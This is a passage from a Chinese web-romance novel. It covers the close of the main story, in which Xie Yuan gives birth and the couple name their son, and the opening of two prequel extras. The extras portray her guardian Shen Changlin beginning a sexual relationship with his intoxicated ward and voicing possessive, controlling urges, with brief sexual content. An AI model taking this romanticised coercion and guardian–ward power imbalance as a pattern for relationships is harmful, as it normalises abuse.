闹中取静的别墅区风景非常好。
谢沅站在三楼的落地窗前,抬眸就能看见一大片的青绿,她坐在秋千吊椅上吃布丁,听着陪同的人介绍。
宁城的宁城餐食最正宗,也最好吃。
谢沅在吃食上偏好很明显,家里的厨师和阿姨当然也很厉害。
但在宁城吃宁城菜,感觉还是不一样的。
她原本以为到宁城后,沈长凛会管她很严,没有想到生活更轻松、快乐了。
谢沅快活地到各处去玩。
陪同的人不少,随侍、导游、保镖、医生一应俱全。
虽然沈长凛让人都做了便装,也没想让谢沅知悉,但她还是很聪明地感觉到了,不过她也没有说什么。
她是个很懂事的孩子。
而且沈长凛还是怕她有事情。
谢沅没有多想,沈长凛有事情忙,她就出去玩,他要是没有太多事情,她就陪在他身边。
但行程就是再宽松,他还是很忙的。
谢沅索性放开了玩,她毕竟不能辜负沈长凛的一片安排。
谢敏行的纪念馆建在谢家在江省的祖籍地。
出于各种缘由,谢知到死都没有去看过,谢沅和这边却是联络过的。
当初她继承整个谢家的遗产,把谢敏行生前遗留下来的资料,全都送了过去。
不过谢沅也没有来过这里。
沈长凛没有太限制谢沅,宁城是很美丽,但江省才是旅游的最盛之地,每地都很适合游赏。
于是她就真的回了一趟谢家的祖籍地。
去谢敏行纪念馆的那天早晨,谢沅带了束白色的花。
他每年诞辰和忌日,八宝山那边都会有很多人,她没想到,江省这边也会有这样多的人。
谢敏行的纪念馆,好像都要成为热门景点了。
想到这件事的时候,谢沅轻轻地笑了一下,他老人家是很喜欢热闹的人,如果泉下有知,应该会很高兴的吧?
纪念馆并不小。
这边地方也算是地杰人灵,出了好几位厉害人物。
几个人的纪念馆在一起,大得跟博物馆一样,陪同的人不敢让谢沅多走,她自己也不敢走太久。
上午看过之后,中午就去休息了。
谢沅跟这边打的交道不少,她没有提前告知,还是有人发觉她亲自过来了。
她推辞失败,见了见纪念馆的馆长。
新任的馆长是个很温和的女人,微笑着说道:“早知道您亲自过来,方才放电影时,我一定跟您一张VIP的票。”
谢沅不太擅长跟生人打交道。
这时候身边跟着一群随侍的好处就体现出来了。
“没事,周馆长,”身边陪同的人笑说道,“我们就是刚巧到这边,来看看而已。”
谢沅捧着小碟子,品尝这边特色的美食。
她是第一次吃,但或许是血脉里的本能,刚刚开始吃,她的眼眸就亮了起来。
谢沅很想掏出手机,给沈长凛发个照片。
可她的手机早就被收了,只能笨拙地拿出摄像机开始拍。
好在餐厅的人不是很多,保镖也都是在不远处看着,没什么人注意到。
谢沅拍完以后就放下了摄像机,掩耳盗铃般地假装什么都没发生,继续用她的餐,但一个年长的叔叔还是注意到了她。
他原本没看她的,大抵是因她动作太明显,才留意到。
看清她的面容后,那位叔叔的容色却是微怔:“你是……沅沅吗?”
谢沅有些无措,懵然地抬起眼眸,这么多年下来,她已经能够厘清燕城权贵圈子里的事。
但对于宁城,她还是不太了解。
“你可能不记得我了,”中年男人温和地笑了一下,“我是长凛母亲的朋友,五月还参加过你们的婚礼。”
他轻声说道:“我也姓谢,祖籍也是这里,跟你算是一家呢。”
谢沅懵懵懂懂,此刻却陡地意识到眼前的男人是谁。
谢家自从谢敏行逝去后,就再没有当初的辉煌。
唯有一个外系旁支很厉害,身居高位。
不过沈长凛从来没让谢沅见过,哪成想竟然会在这里见到他,她讷讷地说道:“真巧,谢叔叔。”
怪不得这个人过来,保镖他们没有拦。
谢沅躲开了跟周馆长的交谈,却到底没有躲过这个人。
她现在不仅是沈长凛的妻子,还是秦家的少夫人。
谢沅心里害羞,仍是努力打起精神,好好地跟人谈话,半个多小时交谈并不辛劳。
这个男人说着位高权重,却真的很好说话,十分的平易近人。
他见到谢沅的甜品吃完,还很好心地帮她又点了一份。
临到离开时,都不忘给谢沅再打包几杯饮料和甜食。
谢沅晕晕乎乎地跟他告别,翌日回到宁城时,才彻底意识到他是个什么人。
“他今年要正式入京了,”沈长凛有些无奈地说道,“你这运气也是,去看祖父都能跟他撞上。”
谢沅对这方面的事还是懂得不多。
她坐在沈长凛的怀里,问了一个很笨蛋的问题:“那他是好人吗?”
沈长凛眺望远方,声音略带散漫:“从前不是,但现在是了。”
谢沅听不懂,疑惑地问道:“为什么呀,叔叔?”
“因为他之前不想入赘我们家,”他笑着说道,“后来知道我们的事,害怕我自恃门第,不肯娶你,又想要给你做靠山。”
都是很旧的事,沈长凛从没想过有摊开的一天。
他母亲沈夫人是个极厉害的女人,可也曾经有过一段情史,时代特殊,两人身份又不合适,到底无疾而终。
有意思的是,这男人终身未娶,多年后听说他们的事,又过来了。
沈长凛当然护得住谢沅。
不过要是有人想要来疼爱她、守护她,他当然也不会拒绝。
谢沅不知道前情,但是听懂了个大概,她红着脸说:“那当时他们要是在一起了,咱们是不是就变成真的叔侄了?”
沈长凛轻咳一声,陡地也意识到这个问题-
小插曲过去后,谢沅又在宁城待了很多天,这边气候很好,还更温暖,比在燕城舒服。
明席也过来看她。
进入十一月份,天变得越来越冷。
谢沅怎么都想不出,明席怎么在露天的网球场,还能打得那么高兴的。
明家这位太子爷,生在明家是真遗憾。
他但凡出身差些,现在都是体坛的一名健将了,或许能跟霍阳一起,被称为什么网球双子星。
谢沅越想越觉得有意思,但不好意思讲太多,明席听了之后,却特别感兴趣。
他笑着说道:“我可以请人去画个漫画,模仿那个《网球○○》,叫《网球太子》怎么样?他们老这样叫我。”
谢沅眼前一黑。
她一刻也不想在宁城待着了。
好在沈长凛那边的事情也忙完,准备带谢沅回去。
但回到燕城好久,明席还在跟她发消息,讲他那个变相实现理想的妙计。
沈长凛查谢沅使用时长的时候,刚好看到,他的眉心拧起,唇边微动:“你们这是再想什么呢?”
谢沅都想要跳起来反驳了。
“什么我们?”她痛苦地说道,“我跟明席这个点子,没有一点关系。”
从宁城回来后,时间越过越快,转眼就到了新年。
谢沅的肚子大了好多,沈长凛将她抱在腿上,温柔地分开她的双膝,轻声说道:“近来都要麻烦沅沅自己来了。”
她羞耻得想哭。
后来瞧见沈长凛挺拔的鼻梁,谢沅还是会瞬间红了脸庞。
她除了在沈长凛的床上,整个孕期都没吃什么苦头。
临到生产的时候,所有人都很紧张,连沈长凛的情绪都绷着,就只有谢沅还那样迷茫。
她拉住沈长凛的手,小声地问道:“叔叔,生完孩子,可以看手机吗?”
沈长凛的手抚在谢沅的后背,声音沙哑:“可以,当然可以,沅沅,想怎么看都可以。”
她是五月有孕的,产期刚好在新年。
不过就是在最忙碌的时候,沈长凛也会把所有事全都往后推。
对于生孩子这件事,谢沅全然不知道他是什么心情,不过也好在他的沅沅不知道。
人的生命越是濒临圆满,就越是会引发恐惧。
沈长凛从不觉得他是一个多么幸运的人,但他希望命运能够眷顾谢沅。
秦老先生今年事情多,现在还在国外,两边联系的电话却没有断,李秘书在视频的另一边,跟沈长凛的秘书和助理在通话。
谢沅听完最后一段故事,便进了产房。
商业上的故事没什么趣味,也就只有她还能听得津津有味。
“结束之后,你要给我一次性讲完。”谢沅难得有些任性地说道,“不能总再讲一半了。”
沈长凛轻吻了一下她的额头,轻声说道:“当然,沅沅。”
亲完以后,谢沅脸上的笑意就消失了,她蹙着眉,指节也蜷缩起来。
他这辈子都没什么恐惧的时候。
沈长凛的血脉里带着冷淡,他处事许多时候都是极漫不经心的,没什么要在意的,也没什么值得在意的。
他冷静地活,冷静地面对生死。
眼前发生的一切,很多时候于他而言,更像是一幕幕的戏剧。
身居高位太久,看世界的眼光都会发生变化。
谢沅觉得他不食人间烟火,其实或许那时候他真的是这样的。
高居云端的沈三公子,说的好听些是淡漠矜贵,说的不好听些就是玩世不恭、游戏人间了。
沈长凛漠然地旁观眼前的一切,对万事都不挂心上。
终于有一天,他被拉下神坛,明白何为贪嗔痴的滋味。
谢沅身体不算好,虽然她一直觉得自己没问题,她的精神更不算好,尤其是在之前的时候。
创伤后应激障碍是无药的疾病。
它痛苦漫长,甚至会贯穿人的一生,竭尽全力,也无法改变分毫。
每次谢沅发病的时候,沈长凛夜里都无法安眠,哪怕打了镇静剂,他还是会陪在她身边一整晚。
她是这世界上最珍贵的宝物。
也是最易碎的宝物。
每一分、每一秒,在那个时候都会变得格外漫长,但谢沅进产房后的这几个小时,沈长凛才明白何为真正的度日如年。
她进产房得晚,转眼就到了凌晨。
沈长凛清醒得不可思议,他摩挲着指间的婚戒,垂眸看了很久很久。
谢沅很怕跟异性接触,很早之前,就有心理医生告诉过他,要做好谢沅可能终身不婚不育的准备。
他当时对她的想法很简单,只是淡漠地想着,谢沅能够接受他,早晚也能接受旁人。
而且这个是他们早先就谈好的约定。
谢沅身份特殊,没有一纸婚约放着,将她养在沈家也不合适。
然而人在不爱一个人的时候,真是残忍得可怕。
沈长凛现今想都不敢想,他当初到底是怎么敢把谢沅推给秦承月的?
在她还那么小的时候。
谢沅害怕异性,害怕暴力,害怕这个世界,她向上生长的那个可能,在太久之前就被人给剥夺了。
可是她那么好,那么那么好。
待人真诚,知书达理,始终为别人考虑,身处高位也从未想过恃强凌弱。
谢沅甚至不懂得报复,她最大的反抗,就是告诉母亲冯依:“我们这辈子都不要再见了。”
她太好了。好到让人会生出晦念,想将她温柔吞噬。
其实这样是不对的。
用温柔的方式进行掠夺,本质依旧是强侵,只不过沈长凛太幸运了。
他的沅沅不仅不讨厌他,还恰好也曾经爱着他罢了。
但知悉这样的事后,沈长凛并不觉得庆幸,反倒是有一种深重的悔念萦绕在他的心头。
爱是常觉亏欠。
他好像是于谢沅有恩,好像是将她从深渊中拉出。
但只有沈长凛自己知道,他欠谢沅的实在是太多了,就是用这一生来还都是不够的。
非得是生生世世,才能还尽-
孩子诞生于凌晨三点的三十三分。
当那道哭声响起时,无论是产房内还是产房外的众人,脸上都露出了由衷的笑脸。
谢沅这几天睡得非常足,上午也是十二点才醒,但此番还是累坏了。
她的脸庞苍白,额前的发丝被汗水浸湿,贴在腮边。
沈长凛看都没看一眼孩子,直接到了谢沅的跟前,向来从容沉静的男人,眼底都透着深重的暗红:“沅沅。”
她又累又困,思绪也越来越模糊。
但到底是在医院里,谢沅强忍住那声“叔叔”,柔声唤道:“长凛。”
她的樱唇扬起,很轻地抱了一下沈长凛。
然后就阖上眼眸晕了过去。
沈长凛身躯僵硬,抬声就唤道:“医生!”
医生和护士紧忙过来,战战兢兢地应道:“先生,夫人、夫人这是太累,睡过去了。”
谢沅一觉睡到第二天的下午三点。
她眼眸还没睁开,就闻到了熟悉的雪松气息。
病房里很安静,谢沅抬起眼帘,就和想要抚摸她额头的沈长凛对上了视线。
他昨晚不知道有没有睡,但那张俊美的脸庞却透着神采,状态比先前还要更好。
沈长凛俯身,温声问道:“沅沅,饿不饿?有想吃的东西吗?”
生产前的那段时间,他管她饮食非常严格,她还生过气,现在好不容易能够自由饮食,他当然要满足她全部的愿望。
谢沅声音柔软:“先亲沅沅一下。”
她要做妈妈了,可她还是叔叔的宝贝。
沈长凛也是这样认为的,他动作轻柔地抱起谢沅,轻轻吻了吻她的樱唇:“辛苦沅沅了。”
两人温存了片刻。
谢沅想起来孩子,她疑惑地问道:“孩子是男孩子,还是女孩子呀?”
沈长凛偏过脸庞,轻声说道:“你先休息一会儿,我让人将餐食送进来,好不好?”
他的神情很自然沉静,但谢沅跟他相处这么久,还看不出问题吗?
她气不打一处来:“你不会没问吧?”
在沈长凛的眼里,这世上只有一个值得他全心全意爱护的,那就是谢沅。
哪怕另一个人是他们的孩子,在他的心里,也全然无法和谢沅相提并论的。
谢沅按铃叫了人,护士回答了她的问题:“夫人,是男孩子,七斤重,可健康了!”
片刻后有人将孩子抱给她看。
或许是做母亲的本能,虽然小孩子丑丑的,但谢沅还是觉得他可爱。
她不生气,沈长凛也不会多说什么。
将孩子送走后,他边喂她用餐食,边温柔地说道:“该想名字了,沅沅。”
谢沅之前没有给孩子想名字,也没有想小名,一是不知道是男孩子女孩子,不好想,二是她还有些纠结,不知道孩子要姓什么。
沈老先生是入赘秦家的,如果不是意外的话,沈长凛原本也是要姓秦的。
他虽然姓沈,身份一直算在秦家这边。
现在他们有了孩子,要不要再姓回秦?
谢沅先没有想姓,就想了名字,叫时尹,小名叫三三,因为他出生的时间实在是太巧合了。
三又很吉利。
沈长凛陪谢沅用完餐,听到起好名字,笑着说道:“好,都听沅沅的。”
不仅她在想孩子姓氏的问题,秦老先生也在想。
片刻后沈长凛走出病房,接了秦老先生的电话。
秦老先生那边知道消息得很快,道过贺后便开门见山地问道:“长凛,孩子的姓你这边有什么打算吗?想姓沈,还是姓回秦?”
沈长凛站在窗边。
他轻笑着说道:“外公,孩子姓谢,随沅沅姓,大名谢时尹,时间的时,令尹的尹。”
沈长凛的声音很轻,柔得像风一样,蕴着的却是那样的深情。
秦老先生愣怔了一下,随即反应过来,他拊掌笑道:“姓谢好!名字也好!沅沅真会起名字。”
他们两家的这段渊源,就是起自多年前谢敏行之恩。
谢家已经式微,但只要谢沅在,谢家就永远在。
片刻后挂了电话,沈长凛回到病房里。
谢沅在看床边的玫瑰花,花瓶里盛着各色的花朵,馥郁秾丽,美不胜收。
见他过来,她仰眸笑道:“谢谢叔叔,我很喜欢。”
沈长凛俯身,低吻谢沅的脸庞,笑着说道:“我也很喜欢沅沅。”
【正文完】
【番外合集】
第80章 番外01 前情·强取豪夺(上)……
沈长凛回到家已经是十一点。
他脱下大衣,满身还是霜寒的冷意。
这几年气候异常,十月刚过,便已经是天寒地冻了。
家里孩子怕冷,室内的暖气总是很足,冬日也跟四五月的深春没什么区别。
沈长凛解下腕表,漫不经心地问道:“谢沅呢?已经睡了吗?”
管家神色谦恭,低声说道:“先生,小姐这两个月都住在学校,要到周末才回来。”
谢沅读高中时很用功,有时沈长凛十二点回来,还能看见她坐在长沙发上做题。
对上他的视线时,她怯生生地唤道:“叔叔。”
然后就不敢再说什么了,非得要人问话,才能多说几句。
他这个人其实挺温柔的。
尤其是在家里。
但不知怎的,谢沅总是有些怕他。
沈长凛这半年事情多,谢沅高考时人都还在国外,她这边刚开学,他就离开了。
一转眼叶落霜天,他方才想起谢沅已经读大学了。
临走前他问过她,想在家里住,还是在学校住。
她声音细细的,说想在学校住。
燕大跟沈家有段距离,如果住在家里的话,要司机来回接送。
大学的宿舍条件不错,可再怎样,依旧是和家里没法比的,谢沅不喜欢麻烦人,宁愿住四个人的小间,也没想过回家里住。
沈长凛顿了顿,轻声说道:“好。”
他没有再多言语,径直回到了楼上。
沈长凛单独住惯了,沈宴白知道他的性子,从不会在他跟前闹腾。
就是这些年谢沅来了以后,他身边才有些人气。
她是个没什么声响的孩子,话不多,人也安安静静的,哪怕是在家里,不过是看看书、学学东西罢了。
可谢沅离开后,沈长凛才蓦地感知到,沈家似乎是太大了。
他执着冰水,无声地眺望着寂寂的黑夜,就这样看了许久。
谢沅刚上大一,课程很多,还有许多活动和比赛要参加,她大部分时间都是在图书馆度过的。
星期五的晚上,她将近九点才回到家。
沈长凛坐在长沙发上,双腿交叠,掀起眼皮,低声问道:“怎么回来这么迟?”
他的声音很轻,听不出什么情绪,但就是会令人没由来地紧绷神经。
跟沈长凛对上视线时,谢沅有一瞬间的茫然。
随即她想起今早李特助发来的消息,说沈总昨晚回来了。
沈长凛的规矩重,管教谢沅也向来严苛,他脾气自然是很好的,性格温柔,人也好说话,好像是何时都不会生气。
谢沅却知道,他私底下是有些阴晴不定的。
她低下眼眸,掌心微微沁汗:“对不起,叔叔,我在图书馆写论文……”
谢沅不太会说谎,沈长凛也不觉得她有胆子在他跟前说谎。
她读书用功,升了大学后依旧如此。
他没有多想,轻声说道:“别太累了,周末好好休息。”
谢沅站在沈长凛的面前,水眸抬起,细声应道:“好,叔叔。”
相较于旁人,她跟他是比较亲近的,在他这里话也会更多一些,只不过每次多时未见,她都会有些紧绷。
沈长凛没想吓着谢沅,问过话后,他的容色复又柔和起来,轻声问道:“是不是还没用晚餐?”
他管教谢沅严苛,却不会太限制她。
尤其是现在孩子大了,须要一定的社交。
谢沅已经用过餐了,但在沈长凛问话时,她下意识地就说道:“……还没有,叔叔。”
她坐在餐桌前,依旧没什么话,垂着头静默地用着晚餐。
沈长凛看着谢沅,跟她问话:“最近在学校怎么样?有什么烦心事吗?”
他的语调和柔,色泽清浅的眼眸微垂,神色温雅矜贵。
谢沅最怕被他看着,硬着头皮抬起眼帘,磕磕绊绊地应道:“最近还可以,叔叔,没有太多事情,就是要写论文。”
她反应慢,话也少,旁人跟她聊一会儿天,便会觉得烦。
沈长凛却不一样,他好像有无尽的耐心。
但他越是这样,谢沅越是不敢扰他。
半小时后,晚餐结束,谈话却还没完,直到谢沅的手机铃声响起,沈长凛低眼看去,瞧见是【秦承月】,轻声说道:“接吧。”
她以前就跟秦承月有接触,成年后两人的交往更亲密。
偶尔会一起学用餐、听音乐会。
不出意外的话,再过一年,到谢沅二十岁时,他们就可以准备订婚的事了。
谢沅的睫羽轻轻地落了下来。
她执着手机,接通电话:“喂,承月哥?”
“明天有空吗,沅沅?”秦承月的声音略带冷淡,“我让人订了票,要一起听音乐剧吗?”
他的性子有些矜傲,谢沅和他认识多时,还是相处不来。
听到秦承月的话,她本能地就抬起眼眸,看向沈长凛。
他站在光影的交界处,某个瞬间,男人的容色带着些晦暗不明。
谢沅神情微怔,但当她再看过去时,沈长凛俊美的脸庞恢复惯常的和柔。
那个瞬间就像是谢沅的错觉。
他点了点头,漫不经心地说道:“上学这么辛苦,周末多出去玩玩吧。”
谢沅的指节微蜷,声音细弱:“好,谢谢您。”
她是怕他的。
但每次沈长凛在家里一久,谢沅还是会禁不住地对他产生依赖。
毕竟叔叔大部分时候,是一个那么温柔的人。
直到谢沅的谎言被发现,事情败露的那一天-
有句话是这样说的。
当你撒了一个谎,就要用无数个谎言来维系。
青年的容色很温和,但眼神里蕴着的却是那样的势在必得。
他懒洋洋地望着谢沅:“都追你半学期了,还不能答应我吗?”
青年话音散漫,眸光也带着些随性。
身躯却是牢牢地将路给堵上了。
谢沅站在书架旁,眉眼带着挣扎,掌心也沁着汗,她低声说道:“我们不合适,而且我有要交往的人了。”
青年打断她的话语,神情也带着不悦:“哪儿有什么不合适的?”
他漫不经心,嗓音透着烦躁:“我不是已经跟你舍友分手了吗?”
谢沅的身躯微颤,她仰起脸庞:“——所以我们不合适,你会和朋友的前女友在一起吗?”
她的长睫在不断地颤抖着。
谢沅的神情带着些痛苦,她的脸庞苍白,那是一种如雪般的柔弱颜色。
诱人破坏,引人玷污。
也不知道是被人养得多精心,到这个年岁,还是这样的纯真。
青年的眼里蕴着浪荡,眸底的破坏欲更强了。
他舔了舔牙根,勾唇一笑,压低声说道:“如果是你的话,我当然愿意。”
他一边言语,一边便想要俯身,掐住谢沅的下颌。
谢沅剧烈地挣动着。
强烈的应激情绪陡地波动起来。
她的声音颤抖:“你滚!”
谢沅打了青年的手背一巴掌,眼眶全都红了。
还从没人这样落过他的面子,青年的容色冷下来:“你是敬酒不吃吃罚酒吗?你知道我父亲是谁吗?”
两人正争吵着,他们口中的那个人突然便过来了。
她生得很漂亮,高挑大方,和一众朋友走在一起,笑着谈论昨天的事情,全然看不出昨天才被男友分了手,难受得大哭过。
青年贴得太近,从后方看去时,很容易将他们二人看成是抱在一起的。
“谢沅!你怎么和他在一起?”女生声音尖利,在安静的图书馆里更显锋锐。
无数道目光同时投了过来。
那捉奸似的情形,谢沅很久以后才忘却。
此刻站在沈长凛面前时,那一幕幕忽然又变得无比清晰。
男人的容色冷得令人恐惧。
他的声音没有情绪:“这就是你说的‘在学校过得还可以’吗?”
昨天刚下过雪,夜色深寒。
桌案上放着的是各样的照片和资料,分毫的辩驳空间都没有给谢沅留。
她低垂着眼眸,脸庞苍白失血。
沈长凛从来没有跟谢沅说过重话,但那个夜晚,她见他动了最盛的一次暗怒。
那时期末刚刚结束,他连学校都没让她再回,就直接令她搬回了家里。
谢沅不知道沈长凛是怎样处理的。
她只知道事后那些如泥潭般的流言蜚语,全都消失了,曾经恨不得她死去的人,谦恭卑微地向她道歉。
那长达半年的阴影,突然间就无影无踪。
谢沅不是受欢迎的性格,她内敛寡言,早就明白受尽冷眼的滋味。
她并不像沈长凛认为的那般敏感柔弱,在不在意的人面前,她是有着些钝感的。
那是一种天然的自我保护。
但这一切都不是沈长凛能够容忍的。
在家里千娇百宠的孩子,准允她到外面,可不是让她吃苦受委屈的。
沈长凛很久没有这样动过怒。
谢沅本来就怕他,近来更是怕到不敢跟他撞上,连温思瑜、秦承月等人的邀约,她都悄悄拒了,不敢说予沈长凛。
他最近事情也多,强令谢沅搬回家里后,便没再多管。
有几分是存着气,有几分是真的忙,他那时候自己也说不清。
两人算是冷了一段时间。
直到临近新年的那个晚上,谢沅突然发了高热。
沈长凛当时还在外面,是阿姨发觉的。
他接到电话后,薄唇微抿,轻声说道:“让医生先过去。”
谢沅烧得脸庞通红,她一整个下午都在睡觉,晚间没下来用晚餐,阿姨才发现她不是在睡觉,是烧得有些昏沉了。
她的指节蜷缩,眼睫濡湿,眸里含着泪。
不知道梦见什么了,一直在无声息地哭。
沈长凛风尘仆仆地赶回,推开那扇门后,连日来的情绪都沉寂了下来。
呵护的欲念占据上风,将其他所有思绪都摒除。
他让人都退下,独自走到谢沅的床边,抬手覆上她滚烫的额头。
她已经服过药了,但意识还是模糊的,眼泪不住地往下掉落,在睡梦也在哭,直到眼睫抬起,与沈长凛撞上视线之后。
谢沅的声音带着哭腔,身躯也在颤抖:“您、您不是还有事情吗?”
沈长凛将谢沅扶抱起来。
他看向她的眼眸,声音微哑:“可是你生病了啊。”
强撑着的小姑娘在听到这句话后,忽然就大哭起来。
“对不起,叔叔,”她哭着说道,“我不是故意那样的,你……你可不可以不要生气了?”
秦老先生之前就常讲,谢沅是个根骨很漂亮的孩子。
只有沈长凛知道,她虽然柔弱,像菟丝花般不经风雨,骨子里却是带着些倔强的,藏得很深,但的确是存在的。
可这也无妨。
他总归是会为她低头的。
沈长凛轻揽住谢沅,长睫低低地落下-
这一年里两人的相处都很愉快。
沈长凛有时回来得迟,谢沅在楼下看书等他,两人会一起再用些夜宵。
虽然大部分时候,都是她在吃。
沈宴白那样桀骜不驯的性子,都对沈长凛这个叔叔十分敬重,更遑论是谢沅。
小姑娘对年轻长辈的孺慕之情,是一种无法克制的本能。
读书时学业压力重,假期也短,周末待在家里都是在补习。
现在读了大学,空闲时间突然多了很多,两个人共同相处的时光也越来越多。
谢沅全然不想早早嫁去秦家。
她还想要多孝敬沈长凛几年。
直到那个混乱的夜晚。
谢沅对那些天的记忆总是很模糊,她当夜又喝了酒,连他们第一个夜晚都记得不清晰。
漫长的疼痛中,夹杂着少许病态的解脱与放纵感。
她是很能隐忍的性格。
可在那个醉酒混乱的晚上,谢沅到底没能压抑住情绪,她哭着说了很多似是而非的话,想要把所有的情绪都宣泄出去。
男人温柔地吻过她的泪水,将她揽在怀里低哄。
他的眼型精致漂亮,色泽清浅的眸里暗光微漾,像是有碎星和月光在其间流淌。
梦境里光怪陆离,却甘美得令人想要永远停留。
直到翌日清晨,谢沅方才明白何为彻底的绝望。
她浑身发冷,血脉里流动的鲜血都像是凝结成冰,前所未有的恐惧拢在她的心头。
谢沅惧得落泪,但沈长凛只是揽住她,柔声说道:“没关系,沅沅。”
他将她抱在怀里,温声哄了很久。
“真的没事,沅沅。”沈长凛吻了下谢沅的额头,“你没有冒犯到叔叔,叔叔愿意的。”
他是很矜贵的人,在家里也是贵公子的气质。
谢沅被他疼宠得很过,却也不敢乱来。
但此刻望见沈长凛眸里无穷尽的纵容和疼溺时,谢沅才是真的崩溃,她好像做了一件特别错、特别错,又无法弥补的事。
惶恐的情绪在不断地攀升。
逃避是谢沅处世的第一法则。
她在巨大的茫然和无措中,选择了沉默。
在谢沅最绝望的时候,是沈长凛伸出援手,将她从深渊里拉出来,她的命都是他给的。
所以自此她就再没有能够拒绝他的事。
但关系的乍然转变,带来的并非高攀的悦然,而是深重的恐惧。
这种恐惧不是来自外界,而是发自内心。
谢沅没有任何排解的渠道,这种事情,就是最亲近的朋友也无法说予。
在这个巨大的恐惧面前,之前的那些烦恼都变得微不足道起来。
谢沅只是本能地知道。
她不可以让沈长凛知道,她曾经爱慕过沈宴白的事。
关系本身就会带来麻烦。
就好像谢沅当时为何那样地抗拒与舍友的前男友接触。
哪怕她是后来认识的那个人,因为关系的特殊,依然会带来很多不必要的麻烦。
累积的痛苦情绪,只能通过日记来抒发。
但在和沈长凛接触时,谢沅总还会忍不住地想要抗拒。
道德的压力倾覆在她单薄的肩头,让她深深地陷入了迷惘和惧怕当中。
好在那段时间沈长凛事情很多,也没有空闲在她身上下更多功夫。
但某次他分开她的柔膝,指节掰开她的腿心时,谢沅还是忽然就哭了出来。
沈长凛也是这时才发现,她的掌心都是掐痕。
他低下眼眸,扣住她的手腕,指腹轻点在那月牙状的红痕上,声音很轻,柔得像风一样:“沅沅,不用怕我的。”
沈长凛的眼里有很多复杂的情绪。
怜惜,疼溺,纵容。
他还有很多想说的话,想告诉谢沅。
等他回来,就将她跟秦承月的婚约解除,就和她领证结婚,就将她带去见江夫人和朋友。
会让她隐忍多时的暗恋听到回声。
会好好地疼溺她、宠爱她,让全世界都知道,他有多珍重她、在乎她。
可谢沅哭得实在是太厉害了,沈长凛到底没能把这些话说出来。
她会抗拒,会害怕,全都在他的预料当中。
谢沅是个道德感很重的孩子,她内敛隐忍,情绪很少外露,心事也全都藏着。
爱也不敢说出口。
所以在那时,沈长凛并没有多想。
整个一月都很繁忙,他又在国外待了很久,以前他常要出国,可以后要多陪孩子,就不好再总两头飞了。
沈长凛将这边的事做了个简单的交接,然后就准备回国。
回来的时候,已经是三月初。
新年都过去了。
谢沅得了流感,才刚刚痊愈,沈长凛跟她打电话,听到她还带着鼻音的语调,心底都是怜惜和疼溺的情绪。
“乖,”他轻声说道,“我马上就回去了。”
谢沅似乎是想通了什么。
她的声音细弱,像是猫崽般:“我很想您。”
谢沅不会说情话,除了那天晚上外,她做过最出格的举动,也不过是沈长凛之前将要离开时,主动投怀送抱的一个吻。
带着笨拙、稚嫩的诱惑。
沈长凛轻笑一声,心中都是柔软的情绪。
但最先等来的,却是残忍到近乎冷酷的真相。
原来他的沅沅那样抗拒,不是因为害怕他,而是因为她爱的根本就不是他。
他看着眼前的资料,轻轻地掀起了眼皮。
第81章 番外02 前情·强取豪夺(下)……
有些事情就像藏在暗处的物什一样,没看见时不会稍作留意,但是如有微光照亮,便很容易被察觉。
沈宴白不喜欢谢沅。
这是沈长凛在将她带回沈家的第一日,就已经知道的事。
她是个很好的孩子,被沈宴白说了重话,难过到掉眼泪,还是会轻轻拉住他的衣袖,给哥哥说好话,说哥哥不是故意的。
哥哥怎么可能不是故意的呢?
沈宴白巴不得谢沅受不了委屈,主动离开沈家才对。
可是那样柔弱的孩子,却一次次地忍了下来,还声音细弱地恳求他原谅哥哥。
沈长凛那时就在想,谢沅的脾气怎么就那样好呢?
现在他才明白,这到底是为何。
过往的一切像是连成线的珠玉,恍惚间变得分外清晰起来。
沈长凛执着那页纸,眸底深暗,恍若冰冷的渊水,没有一缕光能够照进去。
他没有立刻回沈家。
谢沅等沈长凛许久,将要凌晨时,鼓起勇气给他打了电话。
那边没有接听,但稍后李特助打来了电话,他声音很轻:“大小姐,您先睡吧,沈总这边还有些事要处理。”
谢沅懵懵懂懂,全然没有意识到发生了什么,她天真地应道:“好的,谢谢你,李叔叔。”
她抱起书册,然后裹着毯子上楼。
谢沅没有多想,她一觉睡到天亮,舒舒服服地伸了懒腰,然后才如小猫般地坐起身,望向落地窗外的青绿。
晚间沈长凛才回来。
他的容色透着冷意,眼里也没什么情绪。
谢沅靠坐在长沙发上,只穿了黑色的吊带裙,露出大片嫩白的雪肤。
她抬起眼眸,神情带着些无措,下意识地就看向了沈长凛的眼眸。
谢沅站起身,有些局促地走到沈长凛身边。
他的目光并不温和,眼底的情绪也是晦暗的。
她既不知道是该进,也不知道是该退,声音细弱地唤道:“叔叔,您……”
沈长凛的容色冷,声音更冷:“时候不早了,没什么事的话,就早些休息吧。”
临走前他还那样温柔的。
谢沅顿了顿,她呆愣愣地说道:“好的,叔叔。”
她跟这个世界,好像有一层隔膜似的。
谢沅遇到事情总是很茫然,她不知道要怎样应对,也不知道要怎样处理。
做小孩子时,爸爸妈妈说什么,她就听什么。
十五岁以后,沈长凛就是谢沅的全世界。
他要她怎样,她就怎样,他要她嫁给谁,她就嫁给谁。
可在这个晚上,谢沅突然有些迷惘,她孤单地坐在床边的地毯上,抱住毛茸玩具,就那样一个人坐了好久。
她很迟钝。
但她也能感知得到,在发生意外的第二天,沈长凛的确没有怪罪她,他甚至可能有别的想法。
可从外地回来后,沈长凛突然就变得很冷漠。
谢沅从来没有见过他这幅样子。
在他们最初见面的那个午后,沈长凛都是那样的和柔。
是出了什么事情吗?
还是叔叔误会什么了?
谢沅的心绪烦乱,她试着找寻过沈长凛,但他见都没有见她,就让管家请她离开了。
她也试着问过李特助,他迟疑良久,最终只是低声说道:“最近沈总事情有些多。”
谢沅不知道发生了什么。
但接连的碰壁后,她到底是没敢再去打扰沈长凛。
谢沅在卧室里睡了一整个下午。
沈长凛心底的恶欲深重到可怖,自从知悉她暗恋沈宴白多时的事后,那些压抑着的病态欲念,全都被唤醒了。
无数残忍的念头不断盘桓。
冷酷阴暗到骇然。
占有欲,控制欲,侵略欲,在引诱他将谢沅逼上绝路,将她养成全然的禁脔、私有物。
可在知悉她一下午都没有出卧室、晚间也没有用餐时,他还是本能地先去看了她。
怕她生病,怕她难受。
谢沅睡得很熟,她好像是很难过,长睫湿润,眼尾还带着泪痕,身躯蜷缩成一小团,无声息地睡着。
沈长凛的薄唇微抿,动作很轻地抚上她的额头。
但就这样轻柔的抚摸,谢沅也如惊弓之鸟般苏醒过来。
她像是做了噩梦,低喘着气,但望见他的刹那,那纤细的手臂便环上了他的脖颈,带着哭腔唤道:“叔叔。”
谢沅的确是很依赖他的。
